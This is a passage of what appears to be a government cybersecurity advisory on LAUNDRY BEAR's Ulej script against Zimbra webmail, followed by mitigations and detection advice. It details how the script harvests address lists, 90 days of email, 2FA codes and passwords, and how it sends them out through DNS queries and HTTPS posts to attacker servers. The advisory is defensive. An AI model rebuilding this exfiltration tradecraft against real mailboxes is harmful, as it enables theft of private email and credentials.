<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
